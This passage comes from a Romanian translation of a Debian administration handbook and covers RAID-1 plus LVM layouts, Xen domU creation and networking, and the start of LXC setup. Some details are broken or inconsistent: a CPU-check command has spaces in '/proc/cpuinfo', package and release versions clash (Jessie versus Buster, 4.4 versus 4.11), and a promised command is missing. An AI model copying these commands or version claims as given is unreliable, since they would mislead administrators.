ajută prea mult și LVM va fi o alegere firească.

REȚINEȚI Dacă viteza de intrare/ieșire este esențială, în special în ceea ce privește timpii de acces, utilizarea LVM și/sau
Dacă performanța contează... RAID într-una dintre numeroasele combinații poate avea un impact asupra performanțelor, iar acest lucru poate
influența deciziile cu privire la ce să alegeți. În orice caz, aceste diferențe de performanță sunt cu adevărat
minore și vor putea fi măsurate doar în câteva cazuri de utilizare. Dacă performanța contează, cel mai bun câștig
obținut ar fi utilizarea mediilor de stocare care nu se rotesc (solid-state drives sau SSD-uri); costul lor pe
megabyte este mai mare decât cel al hard disk-urilor standard, iar capacitatea lor este de obicei mai mică, dar
oferă performanțe excelente pentru accesurile aleatorii. Dacă modelul de utilizare include multe operațiuni de
intrare/ieșire împrăștiate în tot sistemul de fișiere, de exemplu pentru baze de date unde se rulează interogări
complexe, atunci avantajul de a le rula pe un SSD depășește cu mult orice ar putea fi obținut prin alegerea LVM
peste RAID sau invers. În aceste situații, alegerea ar trebui să fie determinată de alte considerente decât viteza
pură, deoarece aspectul performanței este cel mai ușor de utilizat prin utilizarea SSD-urilor.

Al treilea caz de utilizare notabil este atunci când se dorește doar agregarea a două discuri într-un singur
volum, fie din motive de performanță, fie pentru a avea un singur sistem de fișiere mai mare decât oricare
dintre discurile disponibile. Acest caz poate fi abordat atât de un RAID-0 (sau chiar liniar-RAID), cât și de un
volum LVM. Când se află în această situație și se restricționează restricții suplimentare (de exemplu,
păstrarea în linie cu restul computerelor dacă folosesc numai RAID), configurația aleasă va fi adesea LVM.
Configurația inițială este doar mai complexă și această ușoară creștere a complexității e mai mult decât o
flexibilitate suplimentară pe care LVM o aduce dacă cerințele se schimbă sau dacă se adaugă noi discuri.
Apoi, desigur, există un caz de utilizare cu adevărat interesant, în care sistemul de stocare trebuie să fie atât
rezistent la defecțiuni hardware, cât și flexibil în ceea ce privește alocarea volumului. Nici RAID, nici LVM nu
pot aborda ambele cerințe pe cont propriu; nu contează, acesta este locul în care le folosim pe ambele în
același timp — sau mai bine zis, una peste alta. Schema care are toate și, devenind un standard de când
RAID și LVM au atins maturitatea, este să asigure redundanța datelor mai întâi prin gruparea discurilor într-
un număr mic de tablouri RAID mari și utilizarea acestor tablouri RAID ca volume fizice LVM; partițiile logice
vor fi apoi însemnate din aceste LV-uri pentru sisteme de fișiere. Punctul forte al acestei configurații este

266
faptul că atunci când un disc nu reușește, doar un număr mic de tablouri RAID va trebui reconstruit, limitând
astfel timpul petrecut de administrator pentru recuperare.
Să luăm un exemplu concret: departamentul de relații publice de la Școala Generală are nevoie de o stație
de lucru pentru editare video, dar bugetul departamentului nu permite investiția în hardware de ultimă
generație de jos în sus. Se ia decizia de a favoriza hardware-ul specific naturii grafice a activității (monitor și
placa video) și de a rămâne cu hardware-ul generic pentru stocare. Cu toate acestea, așa cum este
arhicunoscut, videoclipul digital are anumite cerințe particulare pentru stocarea acestuia: cantitatea de date
stocate este mare, iar rata de transfer pentru citirea și scrierea acestor date este importantă pentru
performanța generală a sistemului (mai mult decât tipicul timp de acces, de exemplu). Aceste constrângeri
trebuie îndeplinite cu hardware-ul generic, în acest caz, două unități de disc SATA de 300 GB; datele
sistemului trebuie, de asemenea, să fie rezistente la defecțiunile hardware, precum și unele dintre datele
utilizatorului. Clipurile video editate trebuie să fie într-adevăr sigure, dar materialele brute în curs de editare
sunt mai puțin critice, deoarece este încă pe înregistrare.
RAID-1 și LVM sunt combinate pentru a satisface aceste constrângeri. Discurile sunt atașate la două
controlere SATA diferite pentru a optimiza accesul paralel și a reduce riscul unei defecțiuni simultane și prin
urmare, apar ca sda și sdc. Acestea sunt partiționate identic împreună cu următoarea schemă:

# fdisk -l /dev/sda

Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors

Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00039a9f

Device Boot Start End Sectors Size Id Type

/dev/sda1 * 2048 1992060 1990012 1.0G fd Linux raid autodetect
/dev/sda2 1992061 3984120 1992059 1.0G 82 Linux swap / Solaris
/dev/sda3 4000185 586099395 582099210 298G 5 Extended
/dev/sda5 4000185 203977305 199977120 102G fd Linux raid autodetect
/dev/sda6 203977306 403970490 199993184 102G fd Linux raid autodetect
/dev/sda7 403970491 586099395 182128904 93G 8e Linux LVM

• Primele partiții ale ambelor discuri (aproximativ 1 GB) sunt asamblate într-un volum RAID-1, md0.
Această oglindă este folosită direct pentru a stoca sistemul de fișiere rădăcină.
• Partițiile sda2 și sdc2 sunt utilizate ca partiții swap, oferind un spațiu swap de 2 GB. Cu 1 GB RAM,
stația de lucru are o cantitate confortabilă de memorie disponibilă.
• Partițiile sda5 și sdc5, la fel ca sda6 și sdc6, sunt asamblate în două noi volume RAID-1 de
aproximativ 100 GB fiecare, md1 și md2. Ambele oglinzi sunt inițializate ca volume fizice pentru LVM
și atribuite grupului de volum vg_raid. Acest VG conține astfel aproximativ 200 GB spațiu sigur.
• Partițiile rămase, sda7 și sdc7, sunt folosite direct ca volume fizice și sunt atribuite unui alt VG
numit vg_bulk care, prin urmare, ajunge cu aproximativ 200 GB spațiu.
Odată ce VG-urile sunt create, acestea pot fi partiționate într-un mod foarte flexibil. Trebuie să țineți cont că
LV-urile create în vg_raid vor fi păstrate chiar dacă unul dintre discuri eșuează, ceea ce nu va fi cazul LV-
urilor create în vg_bulk; pe de altă parte, acesta din urmă va fi alocat în paralel pe ambele discuri, ceea ce
permite viteze mai mari de citire sau scriere pentru fișierele mari.
Prin urmare, vom crea lv_usr, lv_var și lv_home LVs pe vg_raid, pentru a găzdui sistemele de fișiere
potrivite; un alt LV mare, lv_movies, va fi folosit pentru a găzdui versiunile definitive ale filmelor după
editare. Cealaltă VG va fi împărțită într-un mare lv_rushes, pentru date direct din camerele video digitale și
un lv_tmp pentru fișierele temporare. Locația zonei de lucru este o alegere mai puțin simplă de făcut: deși
este nevoie de performanțe bune pentru volumul respectiv, merită să riscați să pierdeți munca dacă un disc
eșuează în timpul unei sesiuni de editare? În funcție de răspunsul la această întrebare, LV-ul relevant va fi
creat pe un VG sau pe celălalt.
Avem acum atât redundanță pentru date importante, cât și multă flexibilitate în modul în care spațiul
disponibil este împărțit între aplicații. Dacă noul software va fi instalat ulterior (pentru editare de clipuri audio,
de exemplu), găzduirea LV /usr/ poate fi crescută fără eforturi.

267
 REȚINEȚI Am fi putut configura un singur volum RAID-1, pentru a servi ca volum fizic pentru vg_raid. De ce să le
De ce trei volume RAID-1? creăm trei?
Motivul pentru prima împărțire (md0 față de celelalte) se referă la siguranța datelor: datele scrise în ambele
elemente ale unei oglinzi RAID-1 sunt exact aceleași și prin urmare, este posibil să se ocolească stratul RAID și
să monteze direct unul dintre discuri. În cazul unei erori de kernel, de exemplu, sau dacă metadatele LVM devin
corupte, este încă posibil să porniți un sistem minim pentru a accesa date critice, cum ar fi aspectul discurilor în
volumele RAID și LVM; metadatele pot fi apoi reconstruite și fișierele pot fi accesate din nou, astfel încât
sistemul să poată fi readus la starea sa nominală.
Motivul pentru cea de-a doua diviziune (md1 vs. md2) este mai puțin clar și mai legat de recunoașterea faptului
că viitorul este incert. Când stația de lucru este montată prima dată, cerințele de stocare exacte nu sunt neapărat
cunoscute cu o precizie perfectă; ele pot și evolua în timp. În cazul nostru, nu putem cunoaște în avans cerințele
reale de spațiu de stocare pentru clipuri video brute și clipuri video complete. Dacă un anumit clip are nevoie de
o cantitate foarte mare de material brut, iar VG-ul dedicat datelor redundante este mai puțin de jumătate plin,
putem reutiliza o parte din spațiul său nedorit. Putem elimina unul dintre volumele fizice, să spunem md2, din
vg_raid sau să îl alocăm direct la vg_bulk (dacă durata estimată a operațiunii) este suficient de scurtă încât
putem subzista cu scăderea temporară a performanței) sau anulăm configurarea RAID pe md2 și integrăm
componentele sale sda6 și sdc6 în VG la grămadă (care crește cu 200 GB în loc de 100 GB); volumul logic
lv_rushes poate fi apoi crescut în funcție de cerințe.

12.2. Virtualizarea
Virtualizarea este unul dintre cele mai importante progrese din ultimii ani tehnică de calcul. Termenul
acoperă diferite abstractizări și tehnici care simulează computerele virtuale cu un grad variabil de
independență față de hardware-ul real. Un server fizic poate găzdui apoi mai multe sisteme care funcționează
simultan și izolat. Aplicațiile sunt multe și derivă adesea din această izolare: medii de testare cu configurații
diferite, de exemplu, sau separarea serviciilor găzduite pe diferite mașini virtuale pentru securitate.
Există mai multe soluții de virtualizare, fiecare cu propriile argumente pro și contra. Această carte se va
concentra pe Xen, LXC și KVM, dar alte implementări notabile includ următoarele:
• QEMU este un emulator software pentru un computer complet; performanțele sunt departe de viteza
pe care ar putea-o realiza rulând nativă, dar acest lucru permite rularea sistemelor de operare
nemodificate sau experimentale pe hardware-ul emulat. De asemenea, permite emularea unei
arhitecturi hardware diferite: de exemplu, un sistem amd64 poate emula un computer arm. QEMU este
software liber.
➨ http://www.qemu.org/
• Bochs este o altă mașină virtuală liberă, dar emulează doar arhitecturile x86 (i386 și amd64).
• VMWare este o mașină virtuală proprietară fiind, de departe, una dintre cele mai vechi și mai
cunoscute. Funcționează pe principii similare cu QEMU. VMWare propune funcții avansate, cum ar fi
instantaneul (snapshotting) unei mașini virtuale care rulează.
➨ http://www.vmware.com/
• VirtualBox este o mașină virtuală, în mare parte, software liber (unele componente suplimentare sunt
disponibile sub licență proprie). Din păcate, se află în secțiunea “contrib” a lui Debian, deoarece
include unele fișiere precompilate care nu pot fi reconstruite fără un compilator proprietar și în
prezent rezidă numai în Debian Unstable, deoarece politicile Oracle fac imposibilă menținerea în
siguranță într-o versiune Debian stable (vedeți #794466. Deși este mai nouă decât VMWare și
restricționată la arhitecturile i386 și amd64, aceasta include, totuşi, unele instantanee și alte funcții
interesante.
➨ http://www.virtualbox.org/
HARDWARE Este posibil ca unele computere să nu aibă suport pentru virtualizarea hardware; atunci când o fac, ar trebui să
Suport pentru virtualizare fie activat în BIOS.
Pentru a afla dacă aveți suport pentru virtualizare activat, puteți verifica dacă pavilionul relevant este activat cu
grep. Dacă următoarea comandă pentru procesorul dvs. returnează un anumit text, aveți deja suport pentru
virtualizare activat:
• Pentru procesoarele Intel puteți executa grep vmx / proc / cpuinfo
• Pentru procesoarele AMD puteți executa grep svm / proc / cpuinfo

12.2.1. Xen
Xen este o soluție de “paravirtualizare”. Introduce un strat de abstractizare ușoară, numit “hipervizor”, între
hardware și sistemele superioare; aceasta acționează ca un arbitru care controlează accesul la hardware de la
mașinile virtuale. Cu toate acestea, gestionează doar câteva dintre instrucțiuni, restul este executat direct de

268
hardware în numele sistemelor. Avantajul principal este că performanțele nu sunt degradate, iar sistemele
rulează aproape de viteza nativă; dezavantajul este că nucleele sistemelor de operare pe care doriți să le
utilizați pe un hipervizor Xen trebuie adaptate pentru a rula pe Xen.
Să dedicăm ceva timp termenilor. Hipervizorul este stratul cel mai jos, care rulează direct pe hardware, chiar
sub nucleu. Acest hipervizor poate împărți restul software-ului în mai multe domains, care pot fi văzute ca tot
atât de multe mașini virtuale. Unul dintre aceste domenii (primul care începe) este cunoscut sub numele de
dom0 și are un rol special, deoarece numai acest domeniu poate controla hipervizorul și execuția altor
domenii. Aceste alte domenii sunt cunoscute sub numele de domU. Cu alte cuvinte, și din punct de vedere al
utilizatorului, dom0 se potrivește cu “host”-ul altor sisteme de virtualizare, în timp ce un domU poate fi văzut ca
“guest”.

CULTURĂ Xen a fost inițial dezvoltat ca un set de patch-uri scoase din arborele oficial și neintegrate în kernel-ul Linux. În
Xen și diferitele versiuni de același timp, mai multe sisteme de virtualizare viitoare (inclusiv KVM) au avut nevoie de unele funcții generice
Linux legate de virtualizare pentru a înlesni integrarea lor, iar nucleul Linux a câștigat acest set de funcții (cunoscut sub
numele de paravirt_ops ori pv_ops). Deoarece patch-urile Xen dublau o parte din funcționalitatea acestei
interfețe, acestea nu au putut fi acceptate oficial.
Xensource, compania din spatele Xen, a trebuit, prin urmare, să-l porteze pe Xen în acest nou cadru, astfel încât
patch-urile Xen să poată fi comasate în nucleul oficial Linux. Aceasta a însemnat multă rescriere a codului și
deși Xensource a avut curând o versiune de lucru bazată pe interfața paravirt_ops, patch-urile au fost fuzionate
doar progresiv în kernel-ul oficial. Combinarea a fost finalizată în Linux 3.0.
➨ http://wiki.xenproject.org/wiki/XenParavirtOps
Întrucât Jessie se bazează pe versiunea 3.16 a nucleului Linux, pachetele standard linux-image-686-pae și linux-
image-amd64 includ codul necesar și corecția specifică distribuției care a fost necesară pentru Squeeze iar
versiunile anterioare ale Debian nu mai sunt.
➨ http://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURE Xen are nevoie de modificări la toate sistemele de operare pe care doriți să le rulați; nu toate nucleele au același
Xen și non-Linux kernels nivel de maturitate în această privință. Multe sunt complet funcționale, atât ca dom0, cât și domU: Linux 3.0 și
versiuni ulterioare, NetBSD 4.0 și versiuni ulterioare, și OpenSolaris. Atele funcționează doar ca domU. Puteți
verifica starea fiecărui sistem de operare în wiki Xen:
➨ http://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen
➨ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen
Cu toate acestea, dacă Xen se poate baza pe funcțiile hardware dedicate virtualizării (care sunt prezente doar în
procesoarele mai recente), chiar și sistemele de operare nemodificate pot rula ca domU (inclusiv Windows).

REȚINEȚI Xen este disponibil în prezent numai pentru arhitecturile i386, amd64, arm64 și armhf.
Architectures compatible
with Xen

Utilizarea Xen în Debian avea nevoie de trei componente:

• Hipervizorul însuși. În conformitate cu hardware-ul disponibil, pachetul corespunzător va fi fie xen-
hypervisor-4.4-amd64, xen-hypervisor-4.4-armhf sau xen-hypervisor-4.4-arm64.
• Un nucleu care rulează pe acel hipervizor. Orice nucleu mai recent ca 3.0 va rula, inclusiv versiunea
3.16 prezentă în Buster.
• De asemenea, arhitectura i386 are nevoie de o bibliotecă standard cu patch-uri corespunzătoare,
profitând de Xen; aceasta se află în pachetul libc6-xen.
Hypervisor aduce xen-utils-4.41, care conține instrumente pentru controlul hipervizorului de la dom0. La rândul
său, aceasta aduce biblioteca standard corespunzătoare. În timpul instalării tuturor acestora, scripturile de
configurare creează, de asemenea, o nouă intrare în meniul Grub bootloader, pentru a porni nucleul ales într-
un Xen dom0. Rețineți, însă, că această intrare nu este de obicei setată ca fiind prima din listă și prin urmare,
nu va fi selectată implicit. Dacă acesta nu este comportamentul dorit, următoarele comenzi îl vor schimba:
Odată instalate aceste premise, următorul pas este testarea comportamentului dom0 însuși; aceasta implică
o repornire în hipervizor și nucleul Xen. Sistemul ar trebui să pornească în modul său standard, cu câteva
mesaje suplimentare pe consolă în timpul etapelor de inițializare timpurie.
Acum este momentul să instalați efectiv sisteme utile pe sistemele domU, folosind instrumentele de la xen-
tools. Acest pachet furnizează comanda xen-create-image, care automatizează în mare parte sarcina.
Singurul parametru obligatoriu este --hostname, dând domU-ului un nume; alte opțiuni importante pot fi
stocate în fișierul de configurare /etc/xen-tools/xen-tools.conf iar absența lor de la linia de
comandă nu declanșează o eroare. Prin urmare, este important să verificați conținutul acestui fișier înainte
de a crea imagini sau să folosiți parametri suplimentari în invocarea xen-create-image. Parametrii
importanți ai notei includ următorii:

269
 • --memory, pentru a preciza cantitatea de RAM dedicată sistemului nou creat;
• --size și --swap, pentru a defini dimensiunea ”discurilor virtuale” disponibile pentru domU;
• --debootstrap, pentru a determina instalarea noului sistem cu debootstrap; în acest caz,
opțiunea --dist va fi, de asemenea, cel mai adesea folosită (cu un nume de distribuție, cum ar fi
buster).

ÎN DETALIU În cazul unui sistem non-Linux, trebuie să aveți grijă să definiți nucleul pe care trebuie să îl utilizeze
Instalarea unui sistem non- domU, folosind opțiunea --kernel.
Debian într-un domU

• --dhcp afirmă cum configurația rețelei domU trebuie obținută de DHCP în timp ce --ip permite
definirea unei adrese IP statice.
• În sfârșit, trebuie să se aleagă o metodă de stocare pentru imaginile care urmează să fie create
(cele care vor fi văzute ca unități de hard disk de la domU). Cea mai simplă metodă, corespunzătoare
opțiunii --dir, este de a crea un fișier pe dom0 pentru fiecare dispozitiv pe care ar trebui să fie
furnizat domU. Pentru sistemele care folosesc LVM, alternativa este să folosiți opțiunea --lvm,
urmată de numele unui grup de volume; xen-create-image va crea apoi un nou volum logic în
cadrul acelui grup, iar acest volum logic va fi pus la dispoziția domU ca unitate de disc.

REȚINEȚI Hard discuri întregi pot fi exportate în domU precum și partiții, tablouri RAID sau volume logice preexistente
Stocare în domU LVM. Aceste operațiuni nu sunt automatizate de xen-create-image, prin urmare, trebuie editat fișierul de
configurare a imaginii Xen ,după crearea sa inițială, cu xen-create-image.

După efectuarea acestor alegeri, putem crea imaginea pentru viitorul nostru Xen domU:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G –dist=

⮩ buster --role=udev

[...]
General Information
--------------------
Hostname : testxen
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 2G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-5-amd64
Initrd path : /boot/initrd.img-4.19.0-5-amd64
[...]
Logfile produced at:
/var/log/xen-tools/testxen.log

Installation Summary
---------------------
Hostname : testxen
Distribution : buster
MAC Address : 00:16:3E:0C:74:2F
IP Address(es) : dynamic
SSH Fingerprint : SHA256:PuAGX4/4S07Xzh1u0Cl2tL04EL5udf9ajvvbufBrfvU (DSA)
SSH Fingerprint : SHA256:ajFTX54eakzolyzmZku/ihq/BK6KYsz5MewJ98BM5co (ECDSA)
SSH Fingerprint : SHA256:/sFov86b+rD/bRSJoHKbiMqzGFiwgZulEwpzsiw6aSc (ED25519)
SSH Fingerprint : SHA256:/NJg/CcoVj+OLE/cL3yyJINStnla7YkHKe3/xEdVGqc (RSA)
Root Password : EwmQMHtywY9zsRBpqQuxZTb

Avem acum o mașină virtuală, dar care acum nu funcționează (și prin urmare, folosim doar spațiu pe hard
disk-ul dom0). Desigur, putem crea mai multe imagini, eventual cu parametri diferiți.
Înainte de a porni aceste mașini virtuale, trebuie să definim modul în care vor fi accesate. Desigur, ele pot fi
considerate mașini izolate, accesate doar prin consola de sistem, dar acest lucru se potrivește rar cu
modelul de utilizare. De cele mai multe ori, un domU va fi considerat ca un server la distanță și accesat doar
printr-o rețea. Cu toate acestea, ar fi destul de incomod să adăugați o placă de rețea pentru fiecare domU;
motiv pentru care Xen permite crearea de interfețe virtuale, pe care fiecare domeniu le poate vedea și utiliza
într-un mod standard. Rețineți că aceste placi, chiar dacă sunt virtuale, vor fi utile doar o dată conectate la o
rețea, chiar și una virtuală. Xen are mai multe modele de rețea pentru asta:

270
 • Cel mai simplu model este bridge; toate plăcile de rețea eth0 (atât în sistemele dom0 cât și în
sistemele domU) se comportă ca și cum ar fi conectate direct la un comutator (switch) Ethernet.
• Apoi vine modelul routing, unde dom0 se comportă ca un router care se află între sistemele domU și
rețeaua (fizică) externă.
• În cele din urmă, în modelul NAT, dom0 este din nou între sistemele domU și restul rețelei, dar
sistemele domU nu sunt direct accesibile din exterior, iar traficul trece printr-o traducere a adreselor
de rețea pe dom0.
Aceste trei noduri de rețea implică o serie de interfețe cu nume neobișnuite, cum ar fi vif*, veth*, peth*
și xenbr0. Hipervizorul Xen le aranjează în modul în care au fost definit, sub controlul instrumentelor user-
space. Având în vedere că NAT și modelele de rutare sunt adaptate doar la cazuri particulare, vom aborda
doar modelul de conectare.
Configurația standard a pachetelor Xen nu transformă configurația rețelei la nivelul întregului sistem. Cu
toate acestea, demonul xend este configurat pentru a integra interfețe de rețea virtuală în orice punte de
rețea preexistentă (cu xenbr0 având prioritate dacă există mai multe astfel de poduri). Prin urmare, trebuie
să instituim o punte în /etc/network/interfaces (care necesită instalarea pachetului bridge-utils, motiv
pentru care pachetul xen-utils-4.11 îl recomandă) pentru a înlocui intrarea existentă eth0:

auto xenbr0
iface xenbr0 inet dhcp
bridge_ports eth0
bridge_maxwait 0

După repornire pentru a fi siguri că puntea este creată automat, acum putem începe domU cu instrumentele
de control Xen, în special comanda xl. Această comandă permite diferite manipulări pe domenii, inclusiv
listarea lor și, pornirea/oprirea lor. Această comandă permite diferite manipulări pe domenii, inclusiv listarea
acestora și pornirea / oprirea acestora. S-ar putea să fie nevoie să măriți memoria implicită editând memoria
variabilă din fișierul de configurare (în acest caz, /etc/xen/testxen.cfg). Aici l-am setat la 1024
(megabytes).

# xl list
Name ID Mem VCPUs State Time(s
⮩ )
Domain-0 0 1894 2 r----- 63.5
# xl create /etc/xen/testxen.cfg
Parsing config from /etc/xen/testxen.cfg
# xl list
Name ID Mem VCPUs State Time(s
⮩ )
Domain-0 0 1505 2 r----- 100.0
testxen 13 1024 0 --p--- 0.0

INSTRUMENT În versiunile Debian 7 și versiuni mai vechi, xm a fost instrumentul de referință pentru linia de comandă de
Alegerea seturilor de utilizat pentru a gestiona mașinile virtuale Xen. Acum a fost înlocuit cu xl, care este în mare parte compatibil cu
instrumente pentru gestionarea versiunile anterioare. Dar acestea nu sunt singurele instrumente disponibile: virsh sin libvirt și xe din
Xen VM XenServer XAPI (oferta comercială de Xen) sunt instrumente alternative.

PRUDENȚĂ Deși este posibil, desigur, să existe mai multe sisteme domU care să funcționeze în paralel, toate vor trebui să își
Un singur domU pe imagine! folosească propria imagine, deoarece fiecare domU este făcut să creadă că rulează pe propriul hardware (în afară
de felia mică a nucleului care vorbește cu hipervizorul). În special, nu este posibil ca două sisteme domU care
rulează simultan să partajeze spațiu de stocare. Dacă sistemele domU nu sunt rulate în același timp, este totuși
foarte posibil să refolosiți o singură partiție swap, sau partiția care găzduiește sistemul de fișiere /home.

Rețineți că testxen domU utilizează memorie reală preluată din memoria RAM care altfel ar fi disponibilă
pentru dom0, nu memoria simulată. Prin urmare, trebuie să aveți grijă, atunci când construiți un server menit
să găzduiască instanțele Xen, să furnizați RAM-ul fizic în consecință.
Și iată! Mașina noastră virtuală pornește. O putem accesa într-unul din cele două moduri. Modul obișnuit
este să vă conectați la “de la distanță” prin rețea, cum ne-am conecta la o mașină reală; acest lucru va cere
de obicei configurarea unui DHCP server sau a unei configurații DNS. Cealaltă cale, care poate fi singura
modalitate în cazul în care configurația rețelei a fost incorectă, este să folosiți consola hvc0, cu comanda xl
console:

# xl console testxen
[...]

271
Debian GNU/Linux 10 testxen hvc0

testxen login:

Se poate deschide apoi o sesiune, la fel cum s-ar face și dacă ne-am așeza la tastatura mașinii virtuale.
Detașarea de pe această consolă se realizează prin combinația de taste Control+] .

SFAT Uneori, cineva dorește să pornească un sistem domU și să ajungă imediat la consola sa; acesta este motivul
Obținerea imediată a consolei pentru care comanda xl create primește un comutator -c. Pornirea unui domU cu acest comutator va afișa
toate mesajele pe măsură ce sistemul pornește.

INSTRUMENT OpenXenManager (în pachetul openxenmanager) este o interfață grafică; ea permite gestionarea de la distanță a
OpenXenManage domeniilor Xen prin API-ul Xen. Astfel, poate controla domeniile Xen de la distanță. Acesta oferă cele mai
multe caracteristici ale comenzii xl.

Odată ce domU-ul este activat, acesta poate fi utilizat la fel ca orice alt server (deoarece este până la urmă un
sistem GNU/Linux). Cu toate acestea, starea mașinii sale virtuale permite unele funcții suplimentare. De
exemplu, un domU poate fi temporar întrerupt și apoi reluat cu comenzile xl pause și xl unpause.
Rețineți, chiar dacă un domU în pauză nu utilizează nicio putere a procesorului, memoria alocată este încă în
uz. Poate fi interesant să iei în considerare comenzile xl save și xl restore: salvarea unui domU
eliberează resursele care au fost folosite anterior de acest domU, inclusiv RAM. Când este restaurat (sau
revenit din pauză, pentru asta), un domU nu observă nimic dincolo de trecerea timpului. Dacă un domU era în
execuție atunci când dom0 este oprit, scripturile împachetate salvează automat domU și îl restaurează la
următorul boot. Sigur că, acest lucru va implica inconvenientul standard suferit la hibernarea unui computer
laptop, de exemplu; în special, dacă domU este suspendat prea mult timp, conexiunile de rețea pot expira. De
menționat, de asemenea, că Xen este deocamdată incompatibil cu o mare parte din managementul energiei
ACPI, ceea ce împiedică suspendarea sistemului gazdă (dom0).

DOCUMENTAȚIE Majoritatea subcomenzilor xl așteaptă unul sau mai multe argumente, adesea un nume domU. Aceste argumente
Opțiunile xl sunt bine descrise în pagina de manual xl(1).

Oprirea (halt, un sinonim pentru shutdown) sau repornirea unui domU se poate face fie din interiorul domU (cu
comanda shutdown sau din dom0, cu xl shutdown sau xl reboot.

ÎN DETALIU Xen are mult mai multe caracteristici decât putem descrie în aceste câteva paragrafe. În special, sistemul este
Xen Advansat foarte dinamic și mulți parametri pentru un singur domeniu (cum ar fi cantitatea de memorie alocată, hard disk-
urile vizibile, comportamentul planificatorului de sarcini și așa mai departe) pot fi ajustate chiar și atunci când
acel domeniu rulează. Un domU poate fi chiar migrat pe server-e fără a fi oprit și fără a-și pierde conexiunile la
rețea! Pentru toate aceste aspecte avansate, sursa principală de informații este documentația oficială Xen.
➨ http://www.xen.org/support/documentation.html

12.2.2. LXC
Chiar dacă este folosit pentru a “mașini virtuale”, LXC nu este, strict vorbind, un sistem de virtualizare, ci un
sistem pentru a izola grupuri de procese unul de celălalt, chiar dacă toate rulează pe aceeași gazdă. Acesta
profită de un set de evoluții recente în nucleul Linux cunoscut, cu o largă acceptare, sub denumirea de
control groups, prin care diferite seturi de procese numite “groups” au puncte de vedere diferite asupra
anumitor aspecte ale sistemului în ansamblu. Cele mai notabile dintre aceste aspecte sunt identificatorii de
proces, configurația rețelei și punctele de montare. Un astfel de grup de procese izolate nu va avea acces la
celelalte procese din sistem, iar accesul său la sistemul de fișiere poate fi limitat la un subset specific. Poate
avea, de asemenea, propria sa interfață de rețea și tabel de rutare și poate fi configurat pentru a vedea doar
un subset de dispozitive disponibile în sistem.
Aceste caracteristici pot fi combinate pentru a izola o întreagă familie de procese pornind de la procesul
init, iar setul rezultat arată foarte mult ca o mașină virtuală. Numele oficial pentru o astfel de configurare
este un “container” (de unde și intitularea LXC: LinuX Containers), dar o diferență destul de importantă față de
mașinile virtuale “reale”, precum cele oferite de Xen sau KVM, este că nu există un al doilea nucleu;
containerul folosește același nucleu ca și sistemul gazdă. Aceasta are atât pro cât și contra: avantajele
includ performanțe excelente datorate lipsei totale a costului general (overhead), și a faptului că nucleul are o
viziune globală a tuturor proceselor care rulează pe sistem, astfel încât programarea poate fi mai eficientă
decât ar fi dacă două nuclee independente urmau să planifice diferite seturi de sarcini. Unul dintre

272
principalele inconveniente este imposibilitatea de a rula un alt nucleu într-un container (fie o versiune Linux
diferită sau un sistem de operare diferit).

REȚINEȚI Containerele LXC nu asigură nivelul de izolare obținut de emulatori sau virtualizatoare mai puternice. În
Limitele de izolare LXC special:
• întrucât nucleul este împărțit între sistemul gazdă și containere, procesele constrânse la containere pot
accesa în continuare mesajele kernelului, ceea ce poate duce la scurgeri de informații dacă mesajele
sunt emise de un container;
• din motive similare, dacă un container este compromis și o vulnerabilitate a kernelului este
exploatată, și celelalte containere pot fi afectate;
• pe sistemul de fișiere, nucleul verifică permisiunile în funcție de identificatorii numerici pentru
utilizatori și grupuri; acești identificatori pot desemna diferiți utilizatori și grupuri în funcție de
container, care ar trebui să se țină cont dacă părțile care pot fi scrise ale sistemului de fișiere sunt
împărțite între containere.

Întrucât avem de-a face cu izolarea și nu cu virtualizarea simplă, configurarea containerelor LXC este mai
complexă decât a executa debian-installer pe o mașină virtuală. Vom descrie câteva premise, apoi vom
continua la configurația rețelei; atunci vom putea crea efectiv sistemul care va fi rulat în container.

12.2.2.1. Etapele preliminare

Pachetul lxc conține instrumentele necesare pentru a rula LXC și, prin urmare, trebuie instalat.
LXC are nevoie, de asemenea, de sistemul de configurare control groups, care este un sistem de fișiere
virtual care trebuie montat pe /sys/fs/cgroup. De când Debian 8 a trecut la systemd, care se bazează și
pe control groups, acest lucru este acum făcut automat la momentul de pornire, fără configurare suplimentară.

12.2.2.2. Configurarea rețelei

Scopul instalării LXC este crearea de mașini virtuale; în timp ce, desigur, le puteam ține izolate de rețea și
doar comunicăm cu ele prin intermediul sistemului de fișiere, majoritatea cazurilor de utilizare implică să
ofere container elor cel puțin acces minim la rețea. În cazul obișnuit, fiecare container va primi o interfață de
rețea virtuală, conectată la rețeaua reală printr-un bridge. Această interfață virtuală poate fi conectată fie
direct pe interfața de rețea fizică a gazdei (caz în care containerul este direct în rețea), fie pe o altă interfață
virtuală definită pe gazdă (iar gazda poate filtra sau roti traficul). În ambele cazuri, pachetul bridge-utils va fi
necesar.
Cazul simplu este doar o chestiune de editare a fișierului /etc/network/interfaces, mutând
configurația pentru interfața fizică (de exemplu eth0) la o interfață bridge (de obicei br0) și configurarea
legăturii dintre ele. De exemplu, dacă fișierul de configurare a interfeței de rețea conține inițial intrări precum:

auto eth0
iface eth0 inet dhcp

Acestea ar trebui dezactivate prin înlocuirea cu următoarele:

#auto eth0
#iface eth0 inet dhcp

auto br0
iface br0 inet dhcp
bridge-ports eth0

Efectul acestei configurații va fi similar cu ceea ce s-ar obține când containerele ar fi mașini conectate la
aceeași rețea fizică asemenea gazdei. Configurația “bridge” gestionează tranzitul cadrelor Ethernet între toate
interfețele cu punte (bridged), care include eth0, precum și interfețele definite pentru containere.
În cazurile în care această configurație nu poate fi utilizată (de exemplu, dacă nu se pot atribui containerelor
adrese IP publice), o interfață virtuală tap va fi creată și conectată la punte. Topologia rețelei echivalente
devine apoi cea a unei gazde cu o a doua placă de rețea conectată la un switch separat, containerele fiind de
asemenea conectate la respectivul comutator. Gazda trebuie să acționeze apoi ca o poartă de intrare pentru
containere dacă sunt destinate să comunice cu lumea exterioară.
Pe lângă bridge-utils, această configurație “bogată” necesită pachetul vde2; fișierul
/etc/network/interfaces devine apoi:

273
# Interface eth0 is unchanged
auto eth0
